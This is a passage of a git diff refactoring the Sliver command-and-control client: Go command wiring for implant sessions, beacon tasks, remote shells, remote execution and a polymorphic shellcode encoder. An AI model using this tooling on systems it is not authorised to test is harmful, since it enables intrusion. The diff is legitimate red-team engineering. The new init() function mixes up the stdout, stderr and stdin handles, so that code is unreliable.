settingsCmd.AddCommand(&cobra.Command{ + Use: "user-connect", + Short: "Enable user connections/disconnections (can be very verbose when they use CLI)", + Run: func(cmd *cobra.Command, args []string) { + SettingsUserConnect(cmd, con, args) + }, + }) + settingsCmd.AddCommand(&cobra.Command{ + Use: "console-logs", + Short: "Log console output (toggle)", + Long: help.GetHelpFor([]string{consts.SettingsStr, "console-logs"}), + Run: func(ctx *cobra.Command, args []string) { + SettingsConsoleLogs(ctx, con) + }, + }) + + // Bind a readline subcommand to the `settings` one, for allowing users to + // manipulate the shell instance keymaps, bindings, macros and global options. + settingsCmd.AddCommand(readline.Commands(con.App.Shell())) + + return []*cobra.Command{settingsCmd} +} diff --git a/client/command/settings/opsec.go b/client/command/settings/opsec.go index 40a4e99989..55c094ce10 100644 --- a/client/command/settings/opsec.go +++ b/client/command/settings/opsec.go @@ -26,8 +26,8 @@ import ( "github.com/bishopfox/sliver/client/console" ) -// SettingsAutoAdultCmd - The client settings command -func SettingsAutoAdultCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// SettingsAutoAdultCmd - The client settings command. +func SettingsAutoAdultCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { con.Settings, err = assets.LoadSettings() @@ -40,8 +40,8 @@ func SettingsAutoAdultCmd(cmd *cobra.Command, con *console.SliverConsoleClient, con.PrintInfof("Auto Adult = %v\n", con.Settings.AutoAdult) } -// IsUserAnAdult - This should be called for any dangerous (OPSEC-wise) functions -func IsUserAnAdult(con *console.SliverConsoleClient) bool { +// IsUserAnAdult - This should be called for any dangerous (OPSEC-wise) functions. +func IsUserAnAdult(con *console.SliverClient) bool { if GetAutoAdult(con) { return true } @@ -51,8 +51,8 @@ func IsUserAnAdult(con *console.SliverConsoleClient) bool { return confirm } -// GetAutoAdult - Get the current auto adult setting -func GetAutoAdult(con *console.SliverConsoleClient) bool { +// GetAutoAdult - Get the current auto adult setting. +func GetAutoAdult(con *console.SliverClient) bool { if con.Settings == nil { con.Settings, _ = assets.LoadSettings() } diff --git a/client/command/settings/settings.go b/client/command/settings/settings.go index c0da4c861c..b775daba42 100644 --- a/client/command/settings/settings.go +++ b/client/command/settings/settings.go @@ -29,8 +29,8 @@ import ( "github.com/bishopfox/sliver/client/console" ) -// SettingsCmd - The client settings command -func SettingsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// SettingsCmd - The client settings command. +func SettingsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { con.Settings, err = assets.LoadSettings() @@ -42,6 +42,7 @@ func SettingsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st tw := table.NewWriter() tw.SetStyle(GetTableStyle(con)) + SetMaxTableSize(tw) tw.AppendHeader(table.Row{"Name", "Value", "Description"}) tw.AppendRow(table.Row{"Tables", con.Settings.TableStyle, "Set the stylization of tables"}) tw.AppendRow(table.Row{"Auto Adult", con.Settings.AutoAdult, "Automatically accept OPSEC warnings"}) @@ -53,8 +54,8 @@ func SettingsCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st con.Printf("%s\n", tw.Render()) } -// SettingsAlwaysOverflow - Toggle always overflow -func SettingsAlwaysOverflow(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// SettingsAlwaysOverflow - Toggle always overflow. +func SettingsAlwaysOverflow(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { con.Settings, err = assets.LoadSettings() @@ -67,8 +68,8 @@ func SettingsAlwaysOverflow(cmd *cobra.Command, con *console.SliverConsoleClient con.PrintInfof("Always overflow = %v\n", con.Settings.AlwaysOverflow) } -// SettingsConsoleLogs - Toggle console logs -func SettingsConsoleLogs(cmd *cobra.Command, con *console.SliverConsoleClient) { +// SettingsConsoleLogs - Toggle console logs. +func SettingsConsoleLogs(cmd *cobra.Command, con *console.SliverClient) { var err error if con.Settings == nil { con.Settings, err = assets.LoadSettings() @@ -81,8 +82,8 @@ func SettingsConsoleLogs(cmd *cobra.Command, con *console.SliverConsoleClient) { con.PrintInfof("Console Logs = %v\n", con.Settings.ConsoleLogs) } -// SettingsSmallTerm - Modify small terminal width value -func SettingsSmallTerm(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// SettingsSmallTerm - Modify small terminal width value. +func SettingsSmallTerm(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { con.Settings, err = assets.LoadSettings() @@ -111,8 +112,8 @@ func SettingsSmallTerm(cmd *cobra.Command, con *console.SliverConsoleClient, arg con.PrintInfof("Small terminal width set to %d\n", con.Settings.SmallTermWidth) } -// SettingsTablesCmd - The client settings command -func SettingsTablesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// SettingsTablesCmd - The client settings command. +func SettingsTablesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { con.Settings, err = assets.LoadSettings() @@ -143,8 +144,8 @@ func SettingsTablesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, arg } } -// SettingsSaveCmd - The client settings command -func SettingsSaveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// SettingsSaveCmd - The client settings command. +func SettingsSaveCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { con.Settings, err = assets.LoadSettings() @@ -161,8 +162,8 @@ func SettingsSaveCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args } } -// SettingsAlwaysOverflow - Toggle always overflow -func SettingsUserConnect(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// SettingsAlwaysOverflow - Toggle always overflow. +func SettingsUserConnect(cmd *cobra.Command, con *console.SliverClient, args []string) { var err error if con.Settings == nil { con.Settings, err = assets.LoadSettings() diff --git a/client/command/settings/tables.go b/client/command/settings/tables.go index a285605919..40e6420134 100644 --- a/client/command/settings/tables.go +++ b/client/command/settings/tables.go @@ -20,6 +20,7 @@ package settings import ( "fmt" + "os" "strings" "github.com/AlecAivazis/survey/v2" @@ -31,6 +32,21 @@ import ( "github.com/bishopfox/sliver/client/console" ) +// Those variables are very important to realine low-level code: all virtual terminal +// escape sequences should always be sent and read through the raw terminal file, even +// if people start using io.MultiWriters and os.Pipes involving basic IO. +var ( + stdoutTerm *os.File + stdinTerm *os.File + stderrTerm *os.File +) + +func init() { + stdoutTerm = os.Stdout + stdoutTerm = os.Stderr + stderrTerm = os.Stdin +} + var ( tableStyles = map[string]table.Style{ // Sliver styles @@ -127,8 +143,8 @@ var ( } ) -// GetTableStyle - Get the current table style -func GetTableStyle(con *console.SliverConsoleClient) table.Style { +// GetTableStyle - Get the current table style. +func GetTableStyle(con *console.SliverClient) table.Style { if con.Settings == nil { con.Settings, _ = assets.LoadSettings() } @@ -140,8 +156,8 @@ func GetTableStyle(con *console.SliverConsoleClient) table.Style { return tableStyles[SliverDefault.Name] } -// GetTableWithBordersStyle - Get the table style with borders -func GetTableWithBordersStyle(con *console.SliverConsoleClient) table.Style { +// GetTableWithBordersStyle - Get the table style with borders. +func GetTableWithBordersStyle(con *console.SliverClient) table.Style { if con.Settings == nil { con.Settings, _ = assets.LoadSettings() } @@ -152,12 +168,23 @@ func GetTableWithBordersStyle(con *console.SliverConsoleClient) table.Style { return value } -// GetPageSize - Page size for tables +// SetMaxTableSize automatically sets the maximum width of the table based on +// the current terminal width: excess columns are wrapped by the table itself. +func SetMaxTableSize(tb table.Writer) { + width, _, err := term.GetSize(int(stderrTerm.Fd())) + if err != nil { + width, _ = 80, 80 + } + + tb.SetAllowedRowLength(width) +} + +// GetPageSize - Page size for tables. func GetPageSize() int { return 10 } -// PagesOf - Return the pages of a table +// PagesOf - Return the pages of a table. func PagesOf(renderedTable string) [][]string { lines := strings.Split(renderedTable, "\n") if len(lines) < 2 { @@ -178,8 +205,8 @@ func PagesOf(renderedTable string) [][]string { return pages } -// PaginateTable - Render paginated table to console -func PaginateTable(tw table.Writer, skipPages int, overflow bool, interactive bool, con *console.SliverConsoleClient) { +// PaginateTable - Render paginated table to console. +func PaginateTable(tw table.Writer, skipPages int, overflow bool, interactive bool, con *console.SliverClient) { renderedTable := tw.Render() lineCount := strings.Count(renderedTable, "\n") if !overflow || con.Settings.AlwaysOverflow { diff --git a/client/command/shell/commands.go b/client/command/shell/commands.go new file mode 100644 index 0000000000..5b57d7441c --- /dev/null +++ b/client/command/shell/commands.go @@ -0,0 +1,33 @@ +package shell + +import ( + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + shellCmd := &cobra.Command{ + Use: consts.ShellStr, + Short: "Start an interactive shell", + Long: help.GetHelpFor([]string{consts.ShellStr}), + GroupID: consts.ExecutionHelpGroup, + Annotations: flags.RestrictTargets(consts.SessionCmdsFilter), + Run: func(cmd *cobra.Command, args []string) { + ShellCmd(cmd, con, args) + }, + } + flags.Bind("", false, shellCmd, func(f *pflag.FlagSet) { + f.BoolP("no-pty", "y", false, "disable use of pty on macos/linux") + f.StringP("shell-path", "s", "", "path to shell interpreter") + + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + + return []*cobra.Command{shellCmd} +} diff --git a/client/command/shell/shell.go b/client/command/shell/shell.go index f7c03fea70..498cd4e7d9 100644 --- a/client/command/shell/shell.go +++ b/client/command/shell/shell.go @@ -40,8 +40,8 @@ const ( linux = "linux" ) -// ShellCmd - Start an interactive shell on the remote system -func ShellCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ShellCmd - Start an interactive shell on the remote system. +func ShellCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { session := con.ActiveTarget.GetSessionInteractive() if session == nil { return @@ -60,7 +60,7 @@ func ShellCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []strin con.Println("Shell exited") } -func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *console.SliverConsoleClient) { +func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *console.SliverClient) { con.Println() con.PrintInfof("Wait approximately 10 seconds after exit, and press to continue\n") con.PrintInfof("Opening shell tunnel (EOF to exit) ...\n\n") @@ -77,7 +77,7 @@ func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *conso }) defer cancelTunnel() if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } log.Printf("Created new tunnel with id: %d, binding to shell ...", rpcTunnel.TunnelID) @@ -92,7 +92,7 @@ func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *conso TunnelID: tunnel.ID, }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } // @@ -103,7 +103,7 @@ func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *conso SessionID: session.ID, }) if err != nil { - con.PrintErrorf("RPC Error: %s\n", err) + con.PrintErrorf("RPC Error: %s\n", con.UnwrapServerErr(err)) } return } diff --git a/client/command/shikata-ga-nai/commands.go b/client/command/shikata-ga-nai/commands.go new file mode 100644 index 0000000000..a355b4603a --- /dev/null +++ b/client/command/shikata-ga-nai/commands.go @@ -0,0 +1,41 @@ +package sgn + +import ( + "github.com/rsteube/carapace" + "github.com/spf13/cobra" + "github.com/spf13/pflag" + + "github.com/bishopfox/sliver/client/command/completers" + "github.com/bishopfox/sliver/client/command/flags" + "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/console" + consts "github.com/bishopfox/sliver/client/constants" +) + +// Commands returns the “ command and its subcommands. +func Commands(con *console.SliverClient) []*cobra.Command { + shikataGaNaiCmd := &cobra.Command{ + Use: consts.ShikataGaNai, + Short: "Polymorphic binary shellcode encoder (ノ ゜Д゜)ノ ︵ 仕方がない", + Long: help.GetHelpFor([]string{consts.ShikataGaNai}), + Run: func(cmd *cobra.Command, args []string) { + ShikataGaNaiCmd(cmd, con, args) + }, + Args: cobra.ExactArgs(1), + GroupID: consts.PayloadsHelpGroup, + } + flags.Bind("shikata ga nai", false, shikataGaNaiCmd, func(f *pflag.FlagSet) { + f.StringP("save", "s", "", "save output to local file") + f.StringP("arch", "a", "amd64", "architecture of shellcode") + f.IntP("iterations", "i", 1, "number of iterations") + f.StringP("bad-chars", "b", "", "hex encoded bad characters to avoid (e.g. 0001)") + f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds") + }) + completers.NewFlagCompsFor(shikataGaNaiCmd, func(comp *carapace.ActionMap) { + (*comp)["arch"] = carapace.ActionValues("386", "amd64").Tag("shikata-ga-nai architectures") + (*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save shellcode") + }) + carapace.Gen(shikataGaNaiCmd).PositionalCompletion(carapace.ActionFiles().Tag("shellcode file")) + + return []*cobra.Command{shikataGaNaiCmd} +} diff --git a/client/command/shikata-ga-nai/sgn.go b/client/command/shikata-ga-nai/sgn.go index e16e18c667..744e57c894 100644 --- a/client/command/shikata-ga-nai/sgn.go +++ b/client/command/shikata-ga-nai/sgn.go @@ -30,8 +30,8 @@ import ( "github.com/bishopfox/sliver/protobuf/clientpb" ) -// ShikataGaNaiCmd - Command wrapper for the Shikata Ga Nai shellcode encoder -func ShikataGaNaiCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) { +// ShikataGaNaiCmd - Command wrapper for the Shikata Ga Nai shellcode encoder. +func ShikataGaNaiCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { shellcodeFile := args[0] rawShellcode, err := os.ReadFile(shellcodeFile) if err != nil { @@ -59,7 +59,7 @@ func ShikataGaNaiCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args Request: con.ActiveTarget.Request(cmd), }) if err != nil { - con.PrintErrorf("%s\n", err) + con.PrintErrorf("%s\n", con.UnwrapServerErr(err)) return } if shellcodeResp.Response != nil && shellcodeResp.Response.Err != "" { diff --git a/client/command/sliver.go b/client/command/sliver.go index 9631dae352..f3f8437ae0 100644 --- a/client/command/sliver.go +++ b/client/command/sliver.go @@ -19,24 +19,22 @@ package command */ import ( - "github.com/reeflective/console" - "github.com/rsteube/carapace" "github.com/spf13/cobra" - "github.com/spf13/pflag" + + "github.com/reeflective/console" "github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/command/alias" "github.com/bishopfox/sliver/client/command/backdoor" - "github.com/bishopfox/sliver/client/command/completers" "github.com/bishopfox/sliver/client/command/cursed" "github.com/bishopfox/sliver/client/command/dllhijack" "github.com/bishopfox/sliver/client/command/environment" "github.com/bishopfox/sliver/client/command/exec" "github.com/bishopfox/sliver/client/command/extensions" "github.com/bishopfox/sliver/client/command/filesystem" - "github.com/bishopfox/sliver/client/command/generate" - "github.com/bishopfox/sliver/client/command/help" + "github.com/bishopfox/sliver/client/command/history" "github.com/bishopfox/sliver/client/command/info" + "github.com/bishopfox/sliver/client/command/jobs" "github.com/bishopfox/sliver/client/command/kill" "github.com/bishopfox/sliver/client/command/network" "github.com/bishopfox/sliver/client/command/pivots" @@ -51,7 +49,6 @@ import ( "github.com/bishopfox/sliver/client/command/shell" "github.com/bishopfox/sliver/client/command/socks" "github.com/bishopfox/sliver/client/command/tasks" - "github.com/bishopfox/sliver/client/command/use" "github.com/bishopfox/sliver/client/command/wasm" "github.com/bishopfox/sliver/client/command/wireguard" client "github.com/bishopfox/sliver/client/console" @@ -59,2037 +56,121 @@ import ( ) // SliverCommands returns all commands bound to the implant menu. -func SliverCommands(con *client.SliverConsoleClient) console.Commands { +func SliverCommands(con *client.SliverClient) console.Commands { sliverCommands := func() *cobra.Command { sliver := &cobra.Command{ - Short: "Implant commands", + Short: "Implant commands", + TraverseChildren: true, + SilenceUsage: true, CompletionOptions: cobra.CompletionOptions{ HiddenDefaultCmd: true, }, } - groups := []*cobra.Group{ - {ID: consts.SliverCoreHelpGroup, Title: consts.SliverCoreHelpGroup}, - {ID: consts.InfoHelpGroup, Title: consts.InfoHelpGroup}, - {ID: consts.FilesystemHelpGroup, Title: consts.FilesystemHelpGroup}, - {ID: consts.NetworkHelpGroup, Title: consts.NetworkHelpGroup}, - {ID: consts.ExecutionHelpGroup, Title: consts.ExecutionHelpGroup}, - {ID: consts.PrivilegesHelpGroup, Title: consts.PrivilegesHelpGroup}, - {ID: consts.ProcessHelpGroup, Title: consts.ProcessHelpGroup}, - {ID: consts.AliasHelpGroup, Title: consts.AliasHelpGroup}, - {ID: consts.ExtensionHelpGroup, Title: consts.ExtensionHelpGroup}, - } - sliver.AddGroup(groups...) - - // Load Aliases - aliasManifests := assets.GetInstalledAliasManifests() - for _, manifest := range aliasManifests { - _, err := alias.LoadAlias(manifest, sliver, con) - if err != nil { - con.PrintErrorf("Failed to load alias: %s", err) - continue - } - } - - // Load Extensions - extensionManifests := assets.GetInstalledExtensionManifests() - for _, manifest := range extensionManifests { - ext, err := extensions.LoadExtensionManifest(manifest) - // Absorb error in case there's no extensions manifest - if err != nil { - con.PrintErrorf("Failed to load extension: %s", err) - continue - } - extensions.ExtensionRegisterCommand(ext, sliver, con) - } - - // [ Reconfig ] --------------------------------------------------------------- - - reconfigCmd := &cobra.Command{ - Use: consts.ReconfigStr, - Short: "Reconfigure the active beacon/session", - Long: help.GetHelpFor([]string{consts.ReconfigStr}), - Run: func(cmd *cobra.Command, args []string) { - reconfig.ReconfigCmd(cmd, con, args) - }, - GroupID: consts.SliverCoreHelpGroup, - Annotations: hideCommand(consts.BeaconCmdsFilter), - } - sliver.AddCommand(reconfigCmd) - Flags("reconfig", false, reconfigCmd, func(f *pflag.FlagSet) { - f.StringP("reconnect-interval", "r", "", "reconnect interval for implant") - f.StringP("beacon-interval", "i", "", "beacon callback interval") - f.StringP("beacon-jitter", "j", "", "beacon callback jitter (random up to)") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - renameCmd := &cobra.Command{ - Use: consts.RenameStr, - Short: "Rename the active beacon/session", - Long: help.GetHelpFor([]string{consts.RenameStr}), - Run: func(cmd *cobra.Command, args []string) { - reconfig.RenameCmd(cmd, con, args) - }, - GroupID: consts.SliverCoreHelpGroup, - } - sliver.AddCommand(renameCmd) - Flags("rename", false, renameCmd, func(f *pflag.FlagSet) { - f.StringP("name", "n", "", "change implant name to") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - // [ Sessions ] -------------------------------------------------------------- - - sessionsCmd := &cobra.Command{ - Use: consts.SessionsStr, - Short: "Session management", - Long: help.GetHelpFor([]string{consts.SessionsStr}), - Run: func(cmd *cobra.Command, args []string) { - sessions.SessionsCmd(cmd, con, args) - }, - GroupID: consts.SliverCoreHelpGroup, - } - Flags("sessions", true, sessionsCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - Flags("sessions", false, sessionsCmd, func(f *pflag.FlagSet) { - f.StringP("interact", "i", "", "interact with a session") - f.StringP("kill", "k", "", "kill the designated session") - f.BoolP("kill-all", "K", false, "kill all the sessions") - f.BoolP("clean", "C", false, "clean out any sessions marked as [DEAD]") - f.BoolP("force", "F", false, "force session action without waiting for results") - - f.StringP("filter", "f", "", "filter sessions by substring") - f.StringP("filter-re", "e", "", "filter sessions by regular expression") - }) - FlagComps(sessionsCmd, func(comp *carapace.ActionMap) { - (*comp)["interact"] = use.BeaconAndSessionIDCompleter(con) - (*comp)["kill"] = use.BeaconAndSessionIDCompleter(con) - }) - sliver.AddCommand(sessionsCmd) - - sessionsPruneCmd := &cobra.Command{ - Use: consts.PruneStr, - Short: "Kill all stale/dead sessions", - Long: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}), - Run: func(cmd *cobra.Command, args []string) { - sessions.SessionsPruneCmd(cmd, con, args) - }, - } - Flags("prune", false, sessionsPruneCmd, func(f *pflag.FlagSet) { - f.BoolP("force", "F", false, "Force the killing of stale/dead sessions") - }) - sessionsCmd.AddCommand(sessionsPruneCmd) - - backgroundCmd := &cobra.Command{ - Use: consts.BackgroundStr, - Short: "Background an active session", - Long: help.GetHelpFor([]string{consts.BackgroundStr}), - Run: func(cmd *cobra.Command, args []string) { - sessions.BackgroundCmd(cmd, con, args) - }, - GroupID: consts.SliverCoreHelpGroup, - } - Flags("use", false, backgroundCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - sliver.AddCommand(backgroundCmd) - - killCmd := &cobra.Command{ - Use: consts.KillStr, - Short: "Kill a session", - Long: help.GetHelpFor([]string{consts.KillStr}), - Run: func(cmd *cobra.Command, args []string) { - kill.KillCmd(cmd, con, args) - }, - GroupID: consts.SliverCoreHelpGroup, - } - sliver.AddCommand(killCmd) - Flags("use", false, backgroundCmd, func(f *pflag.FlagSet) { - f.BoolP("force", "F", false, "Force kill, does not clean up") - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - openSessionCmd := &cobra.Command{ - Use: consts.InteractiveStr, - Short: "Task a beacon to open an interactive session (Beacon only)", - Long: help.GetHelpFor([]string{consts.InteractiveStr}), - Run: func(cmd *cobra.Command, args []string) { - sessions.InteractiveCmd(cmd, con, args) - }, - GroupID: consts.SliverCoreHelpGroup, - Annotations: hideCommand(consts.BeaconCmdsFilter), - } - sliver.AddCommand(openSessionCmd) - Flags("interactive", false, openSessionCmd, func(f *pflag.FlagSet) { - f.StringP("mtls", "m", "", "mtls connection strings") - f.StringP("wg", "g", "", "wg connection strings") - f.StringP("http", "b", "", "http(s) connection strings") - f.StringP("dns", "n", "", "dns connection strings") - f.StringP("named-pipe", "p", "", "namedpipe connection strings") - f.StringP("tcp-pivot", "i", "", "tcppivot connection strings") - - f.StringP("delay", "d", "0s", "delay opening the session (after checkin) for a given period of time") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - // [ Use ] -------------------------------------------------------------- - - useCmd := &cobra.Command{ - Use: consts.UseStr, - Short: "Switch the active session or beacon", - Long: help.GetHelpFor([]string{consts.UseStr}), - Run: func(cmd *cobra.Command, args []string) { - use.UseCmd(cmd, con, args) - }, - GroupID: consts.SliverCoreHelpGroup, - } - Flags("use", true, useCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(useCmd).PositionalCompletion(use.BeaconAndSessionIDCompleter(con)) - - if !con.IsCLI { - sliver.AddCommand(useCmd) - } - - useSessionCmd := &cobra.Command{ - Use: consts.SessionsStr, - Short: "Switch the active session", - Long: help.GetHelpFor([]string{consts.UseStr, consts.SessionsStr}), - Run: func(cmd *cobra.Command, args []string) { - use.UseSessionCmd(cmd, con, args) - }, - } - carapace.Gen(useSessionCmd).PositionalCompletion(use.SessionIDCompleter(con)) - useCmd.AddCommand(useSessionCmd) - - useBeaconCmd := &cobra.Command{ - Use: consts.BeaconsStr, - Short: "Switch the active beacon", - Long: help.GetHelpFor([]string{consts.UseStr, consts.BeaconsStr}), - Run: func(cmd *cobra.Command, args []string) { - use.UseBeaconCmd(cmd, con, args) - }, - } - carapace.Gen(useBeaconCmd).PositionalCompletion(use.BeaconIDCompleter(con)) - useCmd.AddCommand(useBeaconCmd) - - // [ Close ] -------------------------------------------------------------- - closeSessionCmd := &cobra.Command{ - Use: consts.CloseStr, - Short: "Close an interactive session without killing the remote process", - Long: help.GetHelpFor([]string{consts.CloseStr}), - Run: func(cmd *cobra.Command, args []string) { - sessions.CloseSessionCmd(cmd, con, args) - }, - GroupID: consts.SliverCoreHelpGroup, - } - sliver.AddCommand(closeSessionCmd) - Flags("", false, closeSessionCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - // [ Tasks ] -------------------------------------------------------------- - - tasksCmd := &cobra.Command{ - Use: consts.TasksStr, - Short: "Beacon task management", - Long: help.GetHelpFor([]string{consts.TasksStr}), - Run: func(cmd *cobra.Command, args []string) { - tasks.TasksCmd(cmd, con, args) - }, - GroupID: consts.SliverCoreHelpGroup, - Annotations: hideCommand(consts.BeaconCmdsFilter), - } - Flags("tasks", true, tasksCmd, func(f *pflag.FlagSet) { - f.IntP("timeout", "t", defaultTimeout, "grpc timeout in seconds") - f.BoolP("overflow", "O", false, "overflow terminal width (display truncated rows)") - f.IntP("skip-pages", "S", 0, "skip the first n page(s)") - f.StringP("filter", "f", "", "filter based on task type (case-insensitive prefix matching)") - }) - sliver.AddCommand(tasksCmd) - - fetchCmd := &cobra.Command{ - Use: consts.FetchStr, - Short: "Fetch the details of a beacon task", - Long: help.GetHelpFor([]string{consts.TasksStr, consts.FetchStr}), - Args: cobra.RangeArgs(0, 1), - Run: func(cmd *cobra.Command, args []string) { - tasks.TasksFetchCmd(cmd, con, args) - }, - } - tasksCmd.AddCommand(fetchCmd) - carapace.Gen(fetchCmd).PositionalCompletion(tasks.BeaconTaskIDCompleter(con).Usage("beacon task ID")) - - cancelCmd := &cobra.Command{ - Use: consts.CancelStr, - Short: "Cancel a pending beacon task", - Long: help.GetHelpFor([]string{consts.TasksStr, consts.CancelStr}), - Args: cobra.RangeArgs(0, 1), - Run: func(cmd *cobra.Command, args []string) { - tasks.TasksCancelCmd(cmd, con, args) - }, - } - tasksCmd.AddCommand(cancelCmd) - carapace.Gen(cancelCmd).PositionalCompletion(tasks.BeaconPendingTasksCompleter(con).Usage("beacon task ID")) - - // [ Info ] -------------------------------------------------------------- - - infoCmd := &cobra.Command{ - Use: consts.InfoStr, - Short: "Get info about session", - Long: help.GetHelpFor([]string{consts.InfoStr}), - Run: func(cmd *cobra.Command, args []string) { - info.InfoCmd(cmd, con, args) - }, - GroupID: consts.InfoHelpGroup, - } - Flags("use", false, infoCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - carapace.Gen(infoCmd).PositionalCompletion(use.BeaconAndSessionIDCompleter(con)) - sliver.AddCommand(infoCmd) - - pingCmd := &cobra.Command{ - Use: consts.PingStr, - Short: "Send round trip message to implant (does not use ICMP)", - Long: help.GetHelpFor([]string{consts.PingStr}), - Run: func(cmd *cobra.Command, args []string) { - info.PingCmd(cmd, con, args) - }, - GroupID: consts.InfoHelpGroup, - } - sliver.AddCommand(pingCmd) - Flags("", false, pingCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - getPIDCmd := &cobra.Command{ - Use: consts.GetPIDStr, - Short: "Get session pid", - Long: help.GetHelpFor([]string{consts.GetPIDStr}), - Run: func(cmd *cobra.Command, args []string) { - info.PIDCmd(cmd, con, args) - }, - GroupID: consts.InfoHelpGroup, - } - sliver.AddCommand(getPIDCmd) - Flags("", false, getPIDCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - getUIDCmd := &cobra.Command{ - Use: consts.GetUIDStr, - Short: "Get session process UID", - Long: help.GetHelpFor([]string{consts.GetUIDStr}), - Run: func(cmd *cobra.Command, args []string) { - info.UIDCmd(cmd, con, args) - }, - GroupID: consts.InfoHelpGroup, - } - sliver.AddCommand(getUIDCmd) - Flags("", false, getUIDCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - getGIDCmd := &cobra.Command{ - Use: consts.GetGIDStr, - Short: "Get session process GID", - Long: help.GetHelpFor([]string{consts.GetGIDStr}), - Run: func(cmd *cobra.Command, args []string) { - info.GIDCmd(cmd, con, args) - }, - GroupID: consts.InfoHelpGroup, - } - sliver.AddCommand(getGIDCmd) - Flags("", false, getGIDCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - whoamiCmd := &cobra.Command{ - Use: consts.WhoamiStr, - Short: "Get session user execution context", - Long: help.GetHelpFor([]string{consts.WhoamiStr}), - Run: func(cmd *cobra.Command, args []string) { - info.WhoamiCmd(cmd, con, args) - }, - GroupID: consts.InfoHelpGroup, - } - sliver.AddCommand(whoamiCmd) - Flags("", false, whoamiCmd, func(f *pflag.FlagSet) { - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - // [ Shell ] -------------------------------------------------------------- - - shellCmd := &cobra.Command{ - Use: consts.ShellStr, - Short: "Start an interactive shell", - Long: help.GetHelpFor([]string{consts.ShellStr}), - Run: func(cmd *cobra.Command, args []string) { - shell.ShellCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - Annotations: hideCommand(consts.SessionCmdsFilter), - } - sliver.AddCommand(shellCmd) - Flags("", false, shellCmd, func(f *pflag.FlagSet) { - f.BoolP("no-pty", "y", false, "disable use of pty on macos/linux") - f.StringP("shell-path", "s", "", "path to shell interpreter") - - f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds") - }) - - // [ Exec ] -------------------------------------------------------------- - - executeCmd := &cobra.Command{ - Use: consts.ExecuteStr, - Short: "Execute a program on the remote system", - Long: help.GetHelpFor([]string{consts.ExecuteStr}), - Args: cobra.MinimumNArgs(1), - Run: func(cmd *cobra.Command, args []string) { - exec.ExecuteCmd(cmd, con, args) - }, - GroupID: consts.ExecutionHelpGroup, - } - sliver.AddCommand(executeCmd) - Flags("", false, executeCmd, func(f *pflag.FlagSet) { - f.BoolP("token", "T", false, "execute command with current token (Windows only)") - f.BoolP("output", "o", false, "capture command output") - f.BoolP("save", "s", false, "save output to a file") - f.BoolP("loot", "X", false, "save output as loot") - f.BoolP("ignore-stderr", "S", 